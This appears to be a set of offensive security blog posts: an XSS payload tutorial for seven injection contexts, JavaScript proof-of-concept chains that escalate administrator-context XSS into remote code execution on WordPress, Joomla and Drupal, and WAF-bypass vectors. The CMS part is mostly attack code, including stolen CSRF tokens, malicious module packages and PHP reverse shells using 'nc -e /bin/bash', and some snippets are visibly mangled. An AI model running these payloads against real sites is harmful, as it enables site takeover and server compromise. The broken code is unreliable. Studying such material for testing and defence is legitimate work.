The 7 Main XSS Cases Everyone Should Know

When reading material on XSS subject we usually see the classical <script>alert(1)</script> as an demonstration of such vulnerability (PoC – Proof of Concept). While very true, it doesn’t go much beyond this, making the novice in this field to look for more in order to deal with real world scenarios.

So here are the 7 cases everyone should know to be able to exploit the vast majority of XSS flaws out there. A web page to show them with their variations (single or double quotes) was built to training (click to go to it):

Right in the beginning of the source code, there’s a HTML comment with all parameters to trigger each case. All of them work for both GET and POST requests.

As you might notice, all cases are source-based which means that injection always appears in source code retrieved in the body of an HTTP response. Independent of being of reflected or stored type, important here is the context where they appear when DISPLAYED so we will always use the reflected one as main example. There are XSS flaws that don’t appear in source code, the DOM-based ones, which won’t be covered here.

Remember to try examples below only in a browser without native XSS filtering, like Mozilla Firefox.

1. URL Reflection

When URL is reflected somehow in source code, we can add our own XSS vector/payload to it. For PHP pages it’s possible to do add anything in the URL after page name (without changing it) with the use of a slash character (/).

1.”><svg onload=alert(1)>

The leading tag breaking (“>) is needed to break out of the current tag an make possible the insertion of a new one.

Although there are several reasons for different languages (reflection might appear in path or in URL parameters too), for PHP the culprit usually is the global variable $_SERVER[“PHP_SELF”] in action field of submission forms.

2. Simple HTMLi (HTML injection)

The most straightforward one, input is reflected just right in the code between existing tags, after or before them. Without the need to escape or break anything, any simple XSS vector like the ones in the form of <tag handler=jsCode> does the job.

2.<svg onload=alert(1)>

3. Inline HTMLi

Almost simple as the previous one but with a little “> prepended to break out of the current tag.

3.”><svg onload=alert(1)>

4. Inline HTMLi: No Tag Breaking

When input lands in an HTML attribute and there’s filtering of greater than character (>), it’s not possible to break out of current tag like in the previous case.

So we use an event handler appropriate to the very tag we are injecting into, like:

4.” onmouseover=alert(1)//

Which closes the value and gives room to insertion of the onmouseover event handler. Pointing to alert(1) followed by double slashes to comment out the hanging quote, that triggers the js popup when victim points his/her mouse over the affected input field.

5. HTMLi in Js (Javascript) Block

Input sometimes land into a javascript block (script tags), usually in the value of some variable of the code. But because the HTML tags has priority in the browser’s parsing, we can simple terminate the block and insert a new tag.

5.</script><svg onload=alert(1)>

6. Simple Js Injection

If the script tag is being filtered somehow, previous exploitation will fail.

So the way to go is to inject javascript code, respecting the syntax. One known way to do that is by “concatenating” the value of vulnerable variable to our desired code to execute. Because we can’t let any quote hanging, we break first, concatenate to our code (with minus sign) and then do the reverse (concatenate and then insert a quote) to get a valid javascript syntax.


7. Escaped Js Injection

In the previous case, if the quote (which is responsible for the break out of the variable’s value) is escaped with a backslash (\), injection won’t work (invalid syntax).

For that, we have a little trick: escaping the escape. We insert a leading backslash to escape the added one and then the quote will work to break. After “concatenation” to our desired js code, we need to comment out the rest because there’s no way to repeat the process in the remaining side of the injection.




Last but not least, all cases presented here are handled by our online XSS discovery service KNOXSS, in Standard and Pro versions. Check it out!



Compromising CMSes with XSS

CMSes (Content Management Systems) are a perfect target for XSS attacks: with their module installation features and the possibility to know all the requests done by a legit administrator of the system previously, it’s pretty easy to mount a CSRF (Cross-Site Request Forgery) attack against him/her.

By taking the anti-CSRF token/nonce and doing the subsequent requests in behalf of an administrator,

Which can lead to full compromising.

PoCs for the 3 most used CMSes worldwide are below in their latest version until date. In all of them, we set a listener with netcat on port 5855 and use PHP code to execute another netcat instance connecting back to us (reverse shell). If you want or need a different PoC, just change it accordingly (variable “s” in WP’s js code, file “jml.php” in Joomla! and file “dp/dp.php5” in Drupal).

WordPress 4.7.5

For latest WP, code is very straightforward: we first get the nonce by parsing 1st XHR response and then submit it in edition of the plugin “Hello Dolly”, which comes with WordPress. Another plugin can be used, it’s just a matter of fingerprinting the target.

p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';

a = new XMLHttpRequest();'GET', p+q, 0);

$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;

b = new XMLHttpRequest();'POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

b.onreadystatechange = function(){
   if (this.readyState == 4) {

Save it as a js file (like “wp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Joomla! 3.7.2

Procedure for Joomla! is a little bit different: we can install a remote module. For this we need a zip file, which needs to contain the following 2 files:

1. jml.xml

<?xml version="1.0" encoding="utf-8"?>
<extension type="module" method="upgrade">
      <filename module="jml">jml.php</filename>

2. jml.php

<?=system('nc localhost 5855 -e /bin/bash');

With that zip file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/joomla/administrator/index.php?';
q = 'option=com_installer&view=install';
u = 'http://localhost/exploits/';

a = new XMLHttpRequest();'GET', p, 0);

$ = 'install_directory=/var/www/html/joomla/tmp&install_url=' + 
u + &installtype=url&task=install.install&' +

b = new XMLHttpRequest();'POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.onreadystatechange = function(){
   if (this.readyState == 4) {

Save it as a js file (like “jml-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Drupal 8.3.2

Drupal is the most complicated of all 3: besides needing the default grab-token-and-submit procedure, exploitation also needs the hosting of a zip or tar.gz file (we choose the latter) and the loading of several js scripts in order to complete the process (?). Thankfully, we only need to add an extra step by grabbing an URL in the 2nd XHR response, editing it a little bit and then loading it within an iframe.

For the tar.gz file we need to create a “dp” folder with these 2 files:

1. dp/

name: x
type: module
core: 8.x

2. dp/dp.php5

<?=system('nc localhost 5855 -e /bin/bash');

Yes, you’re seeing it right. The PHP file needs the .php5 extension or it won’t work. Drupal forbids the execution of a .php file with a 403 status code response when requesting it later but by using php5 we bypass that. 😉

With that tar.gz file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/drupal/admin/modules/install';
u = 'http://localhost/exploits/dp.tar.gz';

a = new XMLHttpRequest();'GET', p, 0);

$ = 'project_url=' + u + '&form_token=' +
/form_token" value="([^"]*?)"/.exec(a.responseText)[1] + '&form_id=update_manager_install_form';

b = new XMLHttpRequest();'POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

b.onreadystatechange = function() {
   if (this.readyState == 4) {
      o = /URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g, "");
      i = document.createElement('iframe');
      i.setAttribute = ('style', 'visibility:none');
      i.src = o.replace("do_nojs", "start");
      setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);

Save it as a js file (like “dp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or by emulate it by typing directly in browser console, being logged in as an administrator.

That’s it. Here is a fast-paced video showing all 3 exploits above working!


Alternative to Javascript Pseudo-Protocol

Browsers accept “javascript:” in their address bar as a way to execute javascript code, which makes it a pseudo-protocol instead of a real one like “http:”, for example. It can be used in the same way as an URL when calling an external resource. Example:

<a href=javascript:alert(1)>

Contrary to Data URI scheme (“data:”), the javascript one executes in same context of the actual page, being very useful in open redirect vulnerabilities and in some XSS vectors. But it’s as useful as easy to be detected and blocked by a filter or WAF.

In fact, we can use mixed case and encode it with HTML entities (see an easy-to-use list here) like:


(URL-encoded form)

But it’s still easy to flag.

Here is another way to pass a filter that is blocking “javascript:”. Let’s consider we have the following XSS vector:

<iframe src=javascript:alert(1)>

In a generic URL like this:


Where “host” is an IP address or domain, “page” is the vulnerable page and “p” is the vulnerable parameter.

In order to bypass filtering of all forms of “javascript:” we call the same vulnerable URL again with another vector (<svg onload>), this time double URL encoded:

This also respects “X-Frame-Options: SAMEORIGIN” HTTP security header, because it calls itself. Notice that we double encoded key points of the second vector, to avoid regex for event handlers based in “on” plus something and equal sign.

A live example is here (open it in Firefox).

Other XSS vectors that work with “javascript:” also work with this self-calling method. Good examples are:

<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

See this cheat sheet for more vectors.

There’s also a variation using HTML entities, which although we are considering them being blocked by filter/WAF, can be used in a slightly different way:

<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>

Assuming that filtering only for the HTML entities suitable for “javascript:” are in place.